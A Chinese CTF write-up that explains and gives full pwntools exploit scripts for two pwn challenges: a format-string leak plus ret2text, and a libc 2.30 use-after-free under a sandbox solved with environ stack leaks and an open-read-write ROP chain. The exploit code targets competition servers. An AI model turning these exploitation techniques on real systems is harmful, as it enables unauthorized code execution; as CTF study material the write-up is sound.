做了pwn1跟pwn3,pwn2没做出来(俺是废物)…
签到题,但是我们要记住
.text:080485F8 mov eax, 0
.text:080485FD mov ecx, [ebp+var_4]
.text:08048600 leave
.text:08048601 lea esp, [ecx-4]
.text:08048604 retn
32位的main的最后有一个将ebp转为esp的代码,如果你栈溢出破坏了ebp,会导致[ecx-4]报错,
因此这个题的做法也很简单,利用格式化字符串漏洞泄露ebp,然后通过gets来进行ret2text
# -*- coding: utf-8 -*
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('qiandao')
p = 0
def pwn(ip,port,debug):
global p
if(debug == 1):
p = process('./qiandao')
else:
p = remote(ip,port)
#gdb.attach(p,"b *0x80485F0")
p.sendlineafter("your name:\n","%2$p")
p.recvuntil("0x")
addr=int(p.recv(8),16)
p.sendlineafter(" problem?\n","aaaabaaacaaadaaaeaaafaaagaaahaaaiaaa"+p32(addr+4)+p32(0x804857D))
p.interactive()
if __name__ == '__main__':
pwn('183.129.189.60',10013,0)
payload那一坨aaa是我测试偏移的时候写的,懒得改了
这个是个libc2.30下的UAF。不一样的是开启了沙盒保护,
常规的做法是利用UAF更改free_hook令free_hook指向setcontext里的某一段汇编,具体在libc里的代码为
.text:00000000000520A5 mov rsp, [rdi+0A0h]
.text:00000000000520AC mov rbx, [rdi+80h]
.text:00000000000520B3 mov rbp, [rdi+78h]
.text:00000000000520B7 mov r12, [rdi+48h]
.text:00000000000520BB mov r13, [rdi+50h]
.text:00000000000520BF mov r14, [rdi+58h]
.text:00000000000520C3 mov r15, [rdi+60h]
.text:00000000000520C7 mov rcx, [rdi+0A8h]
.text:00000000000520CE push rcx
.text:00000000000520CF mov rsi, [rdi+70h]
.text:00000000000520D3 mov rdx, [rdi+88h]
.text:00000000000520DA mov rcx, [rdi+98h]
.text:00000000000520E1 mov r8, [rdi+28h]
.text:00000000000520E5 mov r9, [rdi+30h]
.text:00000000000520E9 mov rdi, [rdi+68h]
以上为libc2.27的代码,如图,我们只要能控制rdi与rdi往下的一段内存空间,我们就能控制所有寄存器。
但是在libc2.30里,我们发现事情没有辣么简单
.text:000000000005803D mov rsp, [rdx+0A0h]
.text:0000000000058044 mov rbx, [rdx+80h]
.text:000000000005804B mov rbp, [rdx+78h]
.text:000000000005804F mov r12, [rdx+48h]
.text:0000000000058053 mov r13, [rdx+50h]
.text:0000000000058057 mov r14, [rdx+58h]
.text:000000000005805B mov r15, [rdx+60h]
.text:000000000005805F test dword ptr fs:48h, 2
.text:000000000005806B jz loc_58126
.text:0000000000058071 mov rsi, [rdx+3A8h]
.text:0000000000058078 mov rdi, rsi
.text:000000000005807B mov rcx, [rdx+3B0h]
我们发现在libc2.30里面,原来是rdi的变成了rdx(libc.2.29以后就是这样的了),这直接就让控制rdx,也就是更改一个三参函数的hook。至少我是做不到的。
那么改怎么做呢,我们还是劫持返回地址来执行ORW。
首先还是利用漏洞来泄露出libc地址。
然后利用libc里面的environ结构体来泄露栈地址,
然后利用漏洞在返回地址写入ORW
# -*- coding: utf-8 -*
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('bigbear')
p = 0
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def pwn(ip,port,debug):
global p
if(debug == 1):
p = process('./bigbear')
else:
p = remote(ip,port)
def add(size,content):
p.sendlineafter(">>","1")
p.sendlineafter("input the size:\n",str(size))
p.sendafter("input the content:\n",content)
def free(index):
p.sendlineafter(">>","2")
p.sendlineafter("Please input the idx\n",str(index))
def show(index):
p.sendlineafter(">>","3")
p.sendlineafter("Please input the idx:\n",str(index))
def edit(index,content):
p.sendlineafter(">>","4")
p.sendlineafter("Please input the idx\n",str(index))
p.sendafter("input the content:\n",content)
for i in range(8):
add(0x90,"A"*0x90)
add(0x140,"A"*0x140)
add(0x140,"A"*0x140)
add(0x100,"A"*0x140)
add(0x140,"flag\x00".ljust(0x140,"\x00"))
for i in range(8):
free(i)
show(7)
p.recvuntil("Content:")
main_arena=u64(p.recv(6).ljust(8,"\x00"))
libcbase_addr=main_arena-(0x7f6190f26be0-0x00007f6190d3c000)
free_hook=libcbase_addr+libc.symbols["__free_hook"]
setcontext_addr=libcbase_addr+libc.symbols["setcontext"]
environ_addr=libcbase_addr+(0x7fbfb459b2c0-0x7fbfb43ad000)
pop_rdi_ret=libcbase_addr+libc.search(asm("pop rdi\nret")).next()
pop_rsi_ret=libcbase_addr+libc.search(asm("pop rsi\nret")).next()
pop_rdx_ret=libcbase_addr+libc.search(asm("pop rdx\nret")).next()
open_addr=libcbase_addr+libc.symbols["open"]
read_addr=libcbase_addr+libc.symbols["read"]
puts_addr=libcbase_addr+libc.symbols["puts"]
print "main_arena=",hex(main_arena)
edit(6,p64(environ_addr-0x10))
add(0x90,"A"*0x10)
add(0x90,"A"*0x10)
show(13)
p.recvuntil("Content:AAAAAAAAAAAAAAAA")
stack_addr=u64(p.recv(6).ljust(8,"\x00"))
print "stack_addr=",hex(stack_addr)
free(9)
free(8)
edit(8,p64(0)+"\x20")
free(8)
show(8)
p.recvuntil("Content:")
heap_addr=u64(p.recv(6).ljust(8,"\x00"))-0x7a0
print "heap_addr=",hex(heap_addr)
orw=p64(0)*2
orw+=p64(pop_rdi_ret)+p64(heap_addr+0xb50)
orw+=p64(pop_rsi_ret)+p64(72)
orw+=p64(open_addr)
orw+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(heap_addr+0x30)+p64(read_addr)
orw+=p64(pop_rdi_ret)+p64(heap_addr+0x30)+p64(puts_addr)
add(0x140,p64(stack_addr-0x140))
add(0x140,p64(stack_addr-0x140).ljust(0x140,'\x00'))
#gdb.attach(p,"b*read")
add(0x140,orw+'\n')
#p.sendlineafter(">>","5")
p.interactive()
if __name__ == '__main__':
pwn('buuoj.cn',20035,1)
三个题还蛮不错的,第二个pwn没做出来,尴尬,这次比赛时间有点短小啊。。。
以前遇到沙盒堆总是喜欢利用setcontext来做,但是这次不行了。
(求pwn2 wp …Orz)